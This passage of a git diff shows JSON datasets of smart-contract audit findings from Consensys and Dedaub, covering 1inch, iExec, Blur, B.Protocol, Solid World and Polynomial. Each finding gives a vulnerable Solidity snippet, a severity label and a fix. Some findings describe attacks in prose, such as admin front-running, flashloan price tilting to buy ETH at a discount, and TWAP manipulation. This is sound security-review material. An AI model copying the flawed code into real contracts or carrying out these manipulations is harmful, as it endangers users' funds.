from.transfer(msg.value.sub(amount)); } else { token.safeTransferFrom(from, to, amount); This issue s severity is not high because the function is always called with the proper parameters in the current codebase. Recommendation Make sure that the uniTransferFrom function is always called with expected parameters. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.5 MooniswapGovernance - votingpower is not accurately reflected when minting pool tokens Fix Unverified", "body": " Resolution According to the client, this issue is addressed in 1inch-exchange/1inch-liquidity-protocol@eb869fd (This fix is as reported by the developer team, but has not been verified by Diligence). Description When a user provides liquidity to the pool, pool-tokens are minted. The minting event triggers the _beforeTokenTransfer callback in MooniswapGovernance which updates voting power reflecting the newly minted stake for the user. There seems to be a copy-paste error in the way balanceTo is determined that sets balanceTo to zero if new token were minted (from==address(0)). This means, that in a later call to _updateOnTransfer only the newly minted amount is considered when adjusting voting power. Examples If tokens are newly minted from==address(0) and therefore balanceTo -> 0. code/contracts/governance/MooniswapGovernance.sol:L100-L114 function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0; uint256 balanceTo = (from != address(0)) ? balanceOf(to) : 0; uint256 newTotalSupply = totalSupply() .add(from == address(0) ? amount : 0) .sub(to == address(0) ? amount : 0); ParamsHelper memory params = ParamsHelper({ from: from, to: to, amount: amount, balanceFrom: balanceFrom, balanceTo: balanceTo, newTotalSupply: newTotalSupply }); now, balanceTo is zero which would adjust voting power to amount instead of the user s actual balance + the newly minted token. code/contracts/governance/MooniswapGovernance.sol:L150-L153 if (params.to != address(0)) { votingData.updateBalance(params.to, voteTo, params.balanceTo, params.balanceTo.add(params.amount), params.newTotalSupply, defaultValue, emitEvent); Recommendation balanceTo should be zero when burning (to == address(0)) and balanceOf(to) when minting. e.g. like this: uint256 balanceTo = (to != address(0)) ? balanceOf(to) : 0; ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.6 MooniswapGovernance - _beforeTokenTransfer should not update voting power on transfers to self Fix Unverified", "body": " Resolution Addressed 1inch-exchange/1inch-liquidity-protocol@7c7126d (This fix is as reported by the developer team, but has not been verified by Diligence). Description Mooniswap governance is based on the liquidity voting system that is also employed by the mothership or for factory governance. In contrast to traditional voting systems where users vote for discrete values, the liquidity voting system derives a continuous weighted averaged consensus value from all the votes. Thus it is required that whenever stake changes in the system, all the parameters that can be voted upon are updated with the new weights for a specific user. The Mooniswap pool is governed by liquidity providers and liquidity tokens are the stake that gives voting rights in MooniswapGovernance. Thus whenever liquidity tokens are transferred to another address, stake and voting values need to be updated. This is handled by MooniswapGovernance._beforeTokenTransfer(). In the special case where someone triggers a token transfer where the from address equals the to address, effectively sending the token to themselves, no update on voting power should be performed. Instead, voting power is first updated with balance - amount and then with balance + amount which in the worst case means it is updating first to a zero balance and then to 2x the balance. Ultimately this should not have an effect on the overall outcome but is unnecessary and wasting gas. Examples beforeTokenTransfer callback in Mooniswap does not check for the NOP case where from==to code/contracts/governance/MooniswapGovernance.sol:L100-L119 function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0; uint256 balanceTo = (from != address(0)) ? balanceOf(to) : 0; uint256 newTotalSupply = totalSupply() .add(from == address(0) ? amount : 0) .sub(to == address(0) ? amount : 0); ParamsHelper memory params = ParamsHelper({ from: from, to: to, amount: amount, balanceFrom: balanceFrom, balanceTo: balanceTo, newTotalSupply: newTotalSupply }); _updateOnTransfer(params, mooniswapFactoryGovernance.defaultFee, _emitFeeVoteUpdate, _fee); _updateOnTransfer(params, mooniswapFactoryGovernance.defaultSlippageFee, _emitSlippageFeeVoteUpdate, _slippageFee); _updateOnTransfer(params, mooniswapFactoryGovernance.defaultDecayPeriod, _emitDecayPeriodVoteUpdate, _decayPeriod); which leads to updateBalance being called on the same address twice, first with currentBalance - amountTransferred and then with currentBalance + amountTransferred. code/contracts/governance/MooniswapGovernance.sol:L147-L153 if (params.from != address(0)) { votingData.updateBalance(params.from, voteFrom, params.balanceFrom, params.balanceFrom.sub(params.amount), params.newTotalSupply, defaultValue, emitEvent); if (params.to != address(0)) { votingData.updateBalance(params.to, voteTo, params.balanceTo, params.balanceTo.add(params.amount), params.newTotalSupply, defaultValue, emitEvent); Recommendation Do not update voting power on LP token transfers where from == to. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.7 Unpredictable behavior for users due to admin front running or general bad timing ", "body": " Description In a number of cases, administrators of contracts can update or upgrade things in the system without warning. This has the potential to violate a security goal of the system. Specifically, privileged roles could use front running to make malicious changes just ahead of incoming transactions, or purely accidental negative effects could occur due to the unfortunate timing of changes. In general users of the system should have assurances about the behavior of the action they re about to take. Examples MooniswapFactoryGovernance - Admin opportunity to lock swapFor with a referral when setting an invalid referralFeeReceiver setReferralFeeReceiver and setGovernanceFeeReceiver takes effect immediately. code/contracts/governance/MooniswapFactoryGovernance.sol:L92-L95 function setReferralFeeReceiver(address newReferralFeeReceiver) external onlyOwner { referralFeeReceiver = newReferralFeeReceiver; emit ReferralFeeReceiverUpdate(newReferralFeeReceiver); setReferralFeeReceiver can be used to set an invalid receiver address (or one that reverts on every call) effectively rendering Mooniswap.swapFor unusable if a referral was specified in the swap. code/contracts/Mooniswap.sol:L281-L286 if (referral != address(0)) { referralShare = invIncrease.mul(referralShare).div(_FEE_DENOMINATOR); if (referralShare > 0) { if (referralFeeReceiver != address(0)) { _mint(referralFeeReceiver, referralShare); IReferralFeeReceiver(referralFeeReceiver).updateReward(referral, referralShare); Locking staked token At any point in time and without prior notice to users an admin may accidentally or intentionally add a broken governance sub-module to the system that blocks all users from unstaking their 1INCH token. An admin can recover from this by removing the broken sub-module, however, with malicious intent tokens may be locked forever. Since 1INCH token gives voting power in the system, tokens are considered to hold value for other users and may be traded on exchanges. This raises concerns if tokens can be locked in a contract by one actor. An admin adds an invalid address or a malicious sub-module to the governance contract that always reverts on calls to notifyStakeChanged. code/contracts/inch/GovernanceMothership.sol:L63-L66 function addModule(address module) external onlyOwner { require(_modules.add(module), \"Module already registered\"); emit AddModule(module); code/contracts/inch/GovernanceMothership.sol:L73-L78 function _notifyFor(address account, uint256 balance) private { uint256 modulesLength = _modules.length(); for (uint256 i = 0; i < modulesLength; ++i) { IGovernanceModule(_modules.at(i)).notifyStakeChanged(account, balance); Admin front-running to prevent user stake sync An admin may front-run users while staking in an attempt to prevent submodules from being notified of the stake update. This is unlikely to happen as it incurs costs for the attacker (front-back-running) to normal users but may be an interesting attack scenario to exclude a whale s stake from voting. For example, an admin may front-run stake() or notoify*() by briefly removing all governance submodules from the mothership and re-adding them after the users call succeeded. The stake-update will not be propagated to the sub-modules. A user may only detect this when they are voting (if they had no stake before) or when they actually check their stake. Such an attack might likely stay unnoticed unless someone listens for addmodule removemodule events on the contract. An admin front-runs a transaction by removing all modules and re-adding them afterwards to prevent the stake from propagating to the submodules. code/contracts/inch/GovernanceMothership.sol:L68-L71 function removeModule(address module) external onlyOwner { require(_modules.remove(module), \"Module was not registered\"); emit RemoveModule(module); Admin front-running to prevent unstake from propagating An admin may choose to front-run their own unstake(), temporarily removing all governance sub-modules, preventing unstake() from syncing the action to sub-modules while still getting their previously staked tokens out. The governance sub-modules can be re-added right after unstaking. Due to double-accounting of the stake (in governance and in every sub-module) their stake will still be exercisable in the sub-module even though it was removed from the mothership. Users can only prevent this by manually calling a state-sync on the affected account(s). Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and this is because the behavior can change at any time. We recommend giving the user advance notice of changes with a time lock. For example, make all system-parameter and upgrades require two steps with a mandatory time window between them. The first step merely broadcasts to users that a particular change is coming, and the second step commits that change after a suitable waiting period. This allows users that do not accept the change to withdraw immediately. Furthermore, users should be guaranteed to be able to redeem their staked tokens. An entity - even though trusted - in the system should not be able to lock tokens indefinitely. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "5.8 The owner can borrow token0/token1 in the rescueFunds ", "body": " Description If some random tokens/funds are accidentally transferred to the pool, the owner can call the rescueFunds function to withdraw any funds manually: code/contracts/Mooniswap.sol:L331-L340 function rescueFunds(IERC20 token, uint256 amount) external nonReentrant onlyOwner { uint256 balance0 = token0.uniBalanceOf(address(this)); uint256 balance1 = token1.uniBalanceOf(address(this)); token.uniTransfer(msg.sender, amount); require(token0.uniBalanceOf(address(this)) >= balance0, \"Mooniswap: access denied\"); require(token1.uniBalanceOf(address(this)) >= balance1, \"Mooniswap: access denied\"); require(balanceOf(address(this)) >= _BASE_SUPPLY, \"Mooniswap: access denied\"); There s no restriction on which funds the owner can try to withdraw and which token to call. It s theoretically possible to transfer pool tokens and then return them to the contract (e.g. in the case of ERC-777). That action would be similar to a free flash loan. Recommendation Explicitly check that the token is not equal to any of the pool tokens. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/"}, {"title": "7.1 Permissionless nature of proxy factory might cause confusion when parsing events ", "body": " Resolution Update from the iExec team: The iExec offchain platform does not listen to GenericFactory. This factory is intended to be public and available to anyone and is just a tool used for deployment. Description The permissionless nature of the factory (the GenericFactory contract) meant to deploy the ERC1538Proxy and the instances of its several delegates might create confusion when parsing events. Since there is no access control being enforced through the use of modifiers on said factory, any account can use its deployment public methods to deploy a contract. This means that the supporting off-chain infrastructure making use of the fired events to look for deployed instances of either the iExec proxies or its delegates might get hindered by an ill-intended actor that abuses its functions. Recommendation Use a modifier enforcing some sort of access control (easily done through the inherited Ownable contract) to make sure only iExec can deploy from the factory and, therefore, increase the readability of logged events. This becomes more important as time goes by and updates to the architecture are performed or any past analysis needs to be done on deployed modules. ", "labels": ["Consensys", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}, {"title": "7.2 System deployer is fully trusted in this version of the PoCo system ", "body": " Resolution Update from the iExec team: After deployment, ownership is planned to be transferred to a multisig. This is just the first step towards a more decentralised governance on the protocol. We will consider adding an intermediary contract that enforces the lock period. This would however, prevent us from any kind of emergency update. The long term goal is it involve the community in the process, using a DAO or a similar solution. Description The introduction of ERC1538-compliant proxies to construct the PoCo system has many benefits. It heightens modularity, reduces the number of external calls between the system s components and allows for easy expansion of the system s capabilities without disruption of the service or need for off-chain infrastructure upgrade. However, the last enumerated benefit is in fact a double-edged sword. Even though ERC1538 enables easy upgradeability it also completely strips the PoCo system of all of its prior trustless nature. In this version the iExec development team should be entirely trusted by every actor in the system not to change the deployed on-chain delegates for new ones. Also the deployer, owner, has permission to change some of the system variables, such as m_callbackgas for Oracle callback gas limit. This indirectly can lock the system, for example it could result in IexecPocoDelegate.executeCallback() reverting which prevents the finalization of corresponding task. Recommendation The best, easiest solution for the trust issue would be to immediately revoke ownership of the proxy right after deployment. This way the modular deployment would still be possible but no power to change the deployed on-chain code would exist. A second best solution would be to force a timespan period before any change to the proxy methods (and its delegates) is made effective. This way any actor in the system can still monitor for possible changes and leave the system before they are implemented. In this last option the lock period should, obviously, be greater than the amount of time it takes to verify a Task of the bigger category but it is advisable to decide on it by anthropomorphic rules and use a longer, human-friendly time lock of, for example, 72 hours. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}, {"title": "7.3 importScore() in IexecMaintenanceDelegate can be used to wrongfully reset worker scores ", "body": " Resolution Update from the iExec team: In order to perform this attack, one would first have to gain reputation on the new version, and lose it. They would then be able to restore its score from the old version. We feel the risk is acceptable for a few reasons: It can only be done once per worker Considering the score dynamics discussed in the Trust in the PoCo document, it is more interesting for a worker to import its reputation in the beginning rather then creating a new one, since bad contributions only remove part of the reputation Only a handful of workers have reputation in the old system (180), and their score is low (average 7, max 22) We might force the import all 180 workers with reputation >0. A script to identify the relevant addresses is already available. Description The import of worker scores from the previous PoCo system deployed on chain is made to be asynchronous. And, even though the pull pattern usually makes a system much more resilient, in this case, it opens up the possibility for an attack that undermines the trust-based game-theoretical balance the PoCo system relies on. As can be seen in the following function: code/poco-dev/contracts/modules/delegates/IexecMaintenanceDelegate.sol:L51-L57 function importScore(address _worker) external override require(!m_v3_scoreImported[_worker], \"score-already-imported\"); m_workerScores[_worker] = m_workerScores[_worker].max(m_v3_iexecHub.viewScore(_worker)); m_v3_scoreImported[_worker] = true; A motivated attacker could attack the system providing bogus results for computation tasks therefore reducing his own reputation (mirrored by the low worker score that would follow). After the fact, the attacker could reset its score to the previous high value attained in the previously deployed PoCo system (v3) and undo all the wrongdoings he had done at no reputational cost. Recommendation Check that each worker interacting with the PoCo system has already imported his score. Otherwise import it synchronously with a call at the time of their first interaction. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}, {"title": "7.4 Outdated documentation ", "body": " Resolution Update from the iExec team: Description There are many changes within the system from the initial version that are not reflected in the documentation. It is necessary to have updated documentation for the time of the audit, as the specification dictates the correct behaviour of the code base. Examples Entities such as iExecClerk are the main point of entry in the documentation, however they have been replaced by proxy implementation in the code base (V5). Recommendation Up date documentation to reflect the recent changes and design in the code base. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}, {"title": "7.5 Domain separator in iExecMaintenanceDelegate has a wrong version field ", "body": " Resolution Issue was fixed in iExecBlockchainComputing/PoCo-dev@ebee370 Description The domain separator used to comply with the EIP712 standard in iExecMaintenanceDelegate has a wrong version field. code/poco-dev/contracts/modules/delegates/IexecMaintenanceDelegate.sol:L77-L86 function _domain() internal view returns (IexecLibOrders_v5.EIP712Domain memory) return IexecLibOrders_v5.EIP712Domain({ name: \"iExecODB\" , version: \"3.0-alpha\" , chainId: _chainId() , verifyingContract: address(this) }); In the above snippet we can see the code is still using the version field from an old version of the PoCo protocol, \"3.0-alpha\". Recommendation Change the version field to: \"5.0-alpha\" ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}, {"title": "7.6 Limit the length of task.contributors to prevent reaching gasBlockLimit ", "body": " Resolution Update from the iExec team: Any hardcoded lock would be a restriction in the future if thee block size increases. In addition to that, workers are strongly incentivised to not contribute if it would result in a deadlocked task. Schedulers are incentivised to not authorise too many workers to contribute (they also lose stake if a task get deadlocked). So the development team has assessed the risk as low. In the unlikely event the described flaw still happens, the task will get in a deadlocked state, until at some point the block size limit is increased and a claim becomes possible. Because in a world where block size increases are possible, deadlocks are not eternal. Description It is recommended to limit the length of arrays that the contract iterates through to prevent system halts. task.contributors is used within iExec contract in many functions, and main functions such as claim(), reOpen(), and most importantly contribute() (through calling checkConsensus()) iterate through this list. Given that contributions are not free and they could only block the task they are contributing to, this is a low impact issue. Recommendation The fix is trivial to implement and only requires to limit the number of items in task.contributors to the maximum imagined for the system (based on client communication this number could be 20, although further testing should be done to make sure with this number does not reach the blockGasLimit, possibly with future changes in the opcode pricing). ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}, {"title": "7.7 The updateContract() method in ERC1538UpdateDelegate is incorrectly implemented ", "body": " Resolution Issue was fixed in iExecBlockchainComputing/iexec-solidity@e6be083 Description The updateContract() method in ERC1538UpdateDelegate does not behave as intended for some specific streams of bytes (meant to be parsed as function signatures). The mentioned function takes as input, among other things, a string (which is, canonically, a dynamically-sized bytes array) and tries to parse it as a conjunction of function signatures. As is evident in: code/iexec-solidity/contracts/ERC1538/ERC1538Update.sol:L39 if (char == 0x3B) // 0x3B = ';' Inside the function, ; is being used as a reserved character, serving as a delimiter between each function signature. However, if two semicolons are used in succession, the second one will not be checked and will be made part of the function signature being sent into the _setFunc() method. Example of faulty input someFunc;;someOtherFuncWithSemiColon; Recommendation Replace the line that increases the pos counter at the end of the function: code/iexec-solidity/contracts/ERC1538/ERC1538Update.sol:L47 start = ++pos; WIth this line of code: start = pos + 1; ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/03/iexec-poco/"}] \ No newline at end of file diff --git a/results/dedaub_findings.json b/results/dedaub_findings.json index 9924a68..53f0d9c 100644 --- a/results/dedaub_findings.json +++ b/results/dedaub_findings.json @@ -1,2832 +1 @@ -[ - { - "title": "already timed-up may not be taken into account if a preceding one hasnt expired ye ", - "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", - "body": " RESOLVED The _computeUnlocked() function of the TokenLockup contract iterates over the schedules to calculate the unlocked amount of tokens based on the schedules which the contract has been initialized with. However, there is no guarantee that these schedules are in ascending order based on the endTime eld. As a result, a schedule which expires before its preceding one can lead to the amount of the schedule not being counted until the preceding one expires too. This happens due to the fact that the loop breaks once it reaches a schedule which hasnt expired yet. TokenLockup::_computeUnlocked() function _computeUnlocked( uint256 locked, uint256 time ) internal view returns (uint256) { ... for (uint i; i < scheduleLength; i++) { uint256 portion = schedule[i].portion; uint256 end = schedule[i].endTime; // Dedaub: Here the loop breaks once it finds a schedule // if (time < end) { that hasnt expired yet unlocked += locked * (time - start) * portion / ((end - start) * INVERSE_BASIS_POINTS); break; } else { unlocked += locked * portion / INVERSE_BASIS_POINTS; start = end; } } return unlocked; } Hence, it could result in geing incorrect information about the unlocked tokens at any particular moment which can also lead to incorrect calculations of the voting power of the users. L2 Schedule portions are not checked whether they add up to 100% RESOLVED Every TokenLockup contract gets a list of schedules upon construction which will release portions of the unallocated tokens. However, there is no check to ensure that the provided portions add up to 100% so that the entire amount of tokens become claimable after an amount of time. TokenLockup::_computeUnlocked() function _computeUnlocked( uint256 locked, uint256 time ) internal view returns (uint256) { ... // Dedaub: This loop iterates over the schedules taking into account each schedules portion, but there is no check that they // all add up to 100% // for (uint i; i < scheduleLength; i++) { uint256 portion = schedule[i].portion; uint256 end = schedule[i].endTime; if (time < end) { unlocked += locked * (time - start) * portion / ((end - start) * INVERSE_BASIS_POINTS); break; } else { unlocked += locked * portion / INVERSE_BASIS_POINTS; start = end; } } return unlocked; } CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", - "labels": [ - "Dedaub", - "Blur Finance delta", - "Severity: Low" - ] - }, - { - "title": "signicance of BlurToken::delegates should be clearly documented ", - "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", - "body": " DISMISSED The issue was invalidated by the nal revision of the code. The delegates function was removed for gas savings. We reiterate our warning about counter-intuitive behavior (without the function) and the need for documentation and user awareness. The seemingly innocuous view function BlurToken::delegates is central to the correct functioning of the voting process. This should be documented, at least via a highly visible code comment (e.g., **WARN**). Specically, the function denition is: BlurTokens::delegates() function delegates( address account ) public view override returns (address) { address _delegate = ERC20Votes.delegates(account); if (_delegate == address(0)) { _delegate = account; } return _delegate; } This seems to suggest the function is just a no-op convention: an account is itself its delegatee if it would otherwise have none. However, this logic is crucial ERC20Votes protocol. Specically, the protocol documentation warns: in the correct functioning of the OpenZeppelin * By default, token balance does not account for voting power. * This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate * checkpoints and have their voting power tracked. The overridden delegates function in BlurToken achieves this exact purpose: causes every token transfer (which calls delegates() in the _afterTokenTransfer hook of the ERC20Votes contract) to update (checkpoint) the voting power of all parties. Without the denition of the delegates function, the behavior would be signicantly dierent: a claim from a TokenLockup would result in lower votes than before (because the Blur token balanceOf would increase without being checkpointed into the votes), while the TokenLockup::balanceOf (which is accounted in BlurGovernor::getVotes) would decrease due to the higher totalClaimed; correct updates of the voting power would require delegate calls; gas consumption of BlurToken transfers would be lower.", - "labels": [ - "Dedaub", - "Blur Finance delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", - "body": "out-of-bounds access due to lack of length compatibility RESOLVED The fund() function of the TokenLockup.sol contract, iterates over the amounts[] array for sending the funds to the corresponding recipients. However, the two arrays provided as parameters are not checked for their length compatibility. Thus, if the amounts[] array is larger than the recipients[] one, the loop could try to access items out of bounds and revert.", - "labels": [ - "Dedaub", - "Blur Finance delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", - "body": "overrides RESOLVED The BlurGovernor.sol contract inherits from several other contracts and some functions should be overridden as they appear in more than one inherited contract. However, the following functions are not needed to be overridden: votingDelay() votingPeriod() quorum(...) propose(...) Moreover, the following contracts are also not needed to be declared in the inherited list as the rest of the contracts already inherit from them: Governor GovernorVotes", - "labels": [ - "Dedaub", - "Blur Finance delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Blur/Blur Finance delta Audit - Jan '23.pdf", - "body": "number used in BlurExchange::setFeeRate() RESOLVED Ideally, numeric constants should be visible prominently at the top of a contract, instead of being buried in the code, for easier maintainability and readability. In this case: BlurExchange::setFeeRate() 1 function setFeeRate(uint256 _feeRate) external { require(msg.sender == governor, \"Fee rate can only be set by governor\"); // Dedaub: Magic constant require(feeRate <= 250, \"Fee cannot be more than 2.5%\"); ... } A5 Compiler bugs INFO The code is compiled with Solidity 0.8.17. Version 0.8.17, at the time of writing, hasnt any known bugs. 1", - "labels": [ - "Dedaub", - "Blur Finance delta", - "Severity: Informational" - ] - }, - { - "title": "integration of ChickenBonds with BAMM allows limited nancial manipulation (aacker can get maximum discount ", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/B.Protocol - Chicken Bonds Audit.pdf", - "body": " RESOLVED (commit a55871ec takes the Curve LUSD, in virtual terms, also into account) BAMMSP holds not only LUSD, but also ETH from liquidations. Anyone can buy ETH at a discount, which depends on the relative amounts of LUSD and ETH of the BAMMSP. In essence, the larger the amount of ETH compared to LUSD, the larger the discount. An aacker could act as follows: call shiftLUSDFromSPToCurve of the Chicken Bond protocol, decrease the amount of LUSD in BAMMSP and then buy ETH at a greater discount. There are no restrictions on who can call the shiftLUSDFromSPToCurve function, but the shift of the LUSD amounts takes place only if the LUSD price in Curve is too high. If this condition is satised, the aacker can perform the aack in order to buy ETH at a maximum discount at no extra cost. If not, then the aacker should rst manipulate the price at Curve using a flashloan. The steps are the following: 1.Increase the price of LUSD in Curve pool - above the threshold which allows shift from the SP to Curve - possibly using a flashloan. 0 2. Call shiftLUSDFromSPToCurve and move as many LUSD as possible to increase the discount on ETH 3. Buy ETH from BAMMSP at a discount. 4. Repay the flashloan. This aack is protable in a specic price range for LUSD, close to the too high threshold (otherwise the cost of tilting the pool will likely outweigh any benet from the discount), and the discount is bounded (at 4%, based on the design documents we were supplied). Hence, we consider this only a medium-severity issue. A general consideration of the protability of the aack should consider: a) that the second step drops the price of LUSD in Curve, resulting in losses for the aacker when he repays the flashloan at the 4th step. the amount of ETH the aacker can buy from BAMMSP at discount is b) However, independent from the amounts in the Curve pool, therefore under some circumstances the discount may also compensate for the losses making the aack protable.", - "labels": [ - "Dedaub", - "B.Protocol - Chicken Bonds", - "Severity: Medium" - ] - }, - { - "title": "v3 TWAPs can be manipulated, and this will become much easier post-Merge DISMISSED A Uniswap v3 TWAP is expected to be used to price LQTY relative to ETH. Uniswap v3 TWAPs can be manipulated, especially for less-used pools. (There have been at least three instances of aacks already, for pools with liquidity in the low millions. The LQTY-ETH pool currently has $780K of liquidity.) Although currently manipulation for active pools is considered rarely protable, once Ethereum switches to proof-of-stake (colloquially, after the Merge) such manipulation will be much easier to perform with guaranteed prot. Specically, to manipulate a data point used for a Uniswap v3 TWAP, an aacker needs to control two consecutive pool transactions (i.e., transactions over the manipulated pool) that are in separate blocks. (This typically means the last pool transaction of a block and the rst of the next block.) Under Ethereum proof-of-stake, validators are known in advance (at the beginning of the epoch) hence an aacker 0 can know when they are guaranteed to control the validator of the next block. The aack is: The aacker places the rst transaction as the last pool transaction of the previous block (either by being the validator of both blocks or using flashbots). The rst transaction tilts the pool. The aacker is guaranteed to not suer any losses from swaps over the the tilted pool because the aacker controls the unrealistic price of immediately next block, prepending to it a transaction that restores the pool, while aecting a TWAP data point in this way. The issue is at most medium-severity, because it only concerns selling LQTY, not the principal assets of the contracts. M3 Values from Chainlink are not checked DISMISSED in The protocol does not check whether the LUSD-USD price is successfully returned from in Chainlink GemSeller::compensateForLusdDeviation. Since this price is used to adjust the amount of ETH or LQTY returned by a swap in BAMM and GemSeller respectively, it is important to ensure that the values from Chainlink are accurate and correct. BAMM::compensateForLusdDeviation and is This in contrast with how Chainlink ETH-USD prices are retrieved in BAMM::fetchPrice and GemSeller::fetchPrice, where each call to Chainlink is checked and any failures are reported using a return value of 0. LOW SEVERITY: [No low severity issues] CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with 0 a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have centralization threats.) ID Description N1 Owner can set parameters with nancial impact ", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/B.Protocol - Chicken Bonds Audit.pdf", - "body": " DISMISSED The owner of both the BAMM contract and the GemSeller contract can set several parameters with nancial impact. None is a major threat: the principal deposited by the Chicken Bonds protocol is safe, even if the owner of BAMM is malicious. However, some funds are at threat. Specically: (BAMM) Owners can set the chicken address. The chicken address holds considerable control over the protocol, as it is the only address permied to withdraw or deposit funds in the system. However, since this address can only ever be set once, the risk posed is limited. Once this address is set to the ChickenBondManager contract from the LUSD Chicken Bonds Protocol, this will no longer be an issue, as ChickenBondManager is itself very decentralized. (BAMM) Owners can set the gemSeller address. This is a centralization threat because gemSeller has innite approval for gem, in this case LQTY. However, this means that a malicious owner can only steal rewards, not principal. Furthermore, the gemSellerController makes use of a time lock system. This prevents the owner from immediately changing the address of the gemSeller. A new address will rst be stored as pending, and can only be set as the new gemSeller after a xed time period has elapsed. Once set, the gemSeller has maximum approval for all LQTY held in the B.AMM. (BAMM and gemSeller) Owners can set parameters, including fee and A. The fee parameter is a threat, but is bounded by a maximum value (1% in BAMM, 10% in gemSeller). The A parameter only aects the discount given to buyers, which is bounded by a maximum, limiting the eect of any changes. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "B.Protocol - Chicken Bonds", - "Severity: Medium" - ] - }, - { - "title": "in BAMM::constructor parameter ", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/B.Protocol - Chicken Bonds Audit.pdf", - "body": " RESOLVED Parameter address _fronEndTag should be address _frontEndTag.", - "labels": [ - "Dedaub", - "B.Protocol - Chicken Bonds", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/B.Protocol - Chicken Bonds Audit.pdf", - "body": "function names when converting LUSD RESOLVED The functions gemSeller::gemToLUSD and gemSeller::LUSDToGem convert the given quantity of gem tokens to their LUSD value and vice versa. However, the functions both return the USD price of the gem asset, not the LUSD price (more accurately, the GEM-ETH and ETH-USD prices are used together). Although the protocol assumes that 1 LUSD is always equivalent to 1 USD, gemSeller::gemToUSD and gemSeller::USDToGem would be more accurate function names. A3 Compiler bugs INFO The code is compiled with Solidity 0.6.11. This version of the compiler has some known bugs, which we do not believe to aect the correctness of the contracts. 01", - "labels": [ - "Dedaub", - "B.Protocol - Chicken Bonds", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Solid World/Solid World Audit - May '23.pdf", - "body": "Stake event does not capture the msg.sender WONT FIX The SolidStaking Stake event captures the recipient account but not the msg.sender, thus this piece of information is not recorded if the recipient is not also the msg.sender. A2 LiquidityDeployer::getTokenDepositors can be optimized to save gas WONT FIX The function LiquidityDeployer::getTokenDepositors copies the depositors array from storage to memory by performing a loop over each element of the array instead of just returning the array. LiquidityDeployer::getTokenDepositors function getTokenDepositors() external view returns (address[] memory tokenDepositors) { } tokenDepositors = new address[](depositors.tokenDepositors.length); for (uint i; i < depositors.tokenDepositors.length; i++) { tokenDepositors[i] = depositors.tokenDepositors[i]; } By changing the code to: function getTokenDepositors() external view returns (address[] memory tokenDepositors) { } return depositors.tokenDepositors; the cost of calling getTokenDepositors is reduced by 33% and the deployment cost of the LiquidityDeployer is reduced by ~1.5%.", - "labels": [ - "Dedaub", - "Solid World", - "Severity: Informational" - ] - }, - { - "title": "validity of the index price, the funding rate and the mark price is not always checked by the calle ", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": " OPEN Functions getIndexPrice, getFundingRate and getMarkPrice of the Exchange contract depend on the externally provided base asset price that could be invalid in some cases. Nevertheless, the aforementioned functions do not revert in case the base asset price is invalid but return a tuple with the derived value and a boolean that denotes the derived value is invalid due to the base asset price being invalid. The callers of the functions are responsible for checking the validity of the returned values, a design which is valid and flexible as long as it is appropriately implemented. However, the function Exchange::_updateFundingRate does not check the validity of the funding rate value returned by getFundingRate, which could lead to an invalid funding rate geing registered, messing up the protocols operation. At the same time ShortCollateral::liquidate does not check the validity of the mark price returned by Exchanges getMarkPrice. The chance that something will go wrong is signicantly smaller with liquidate because each call to it is preceded 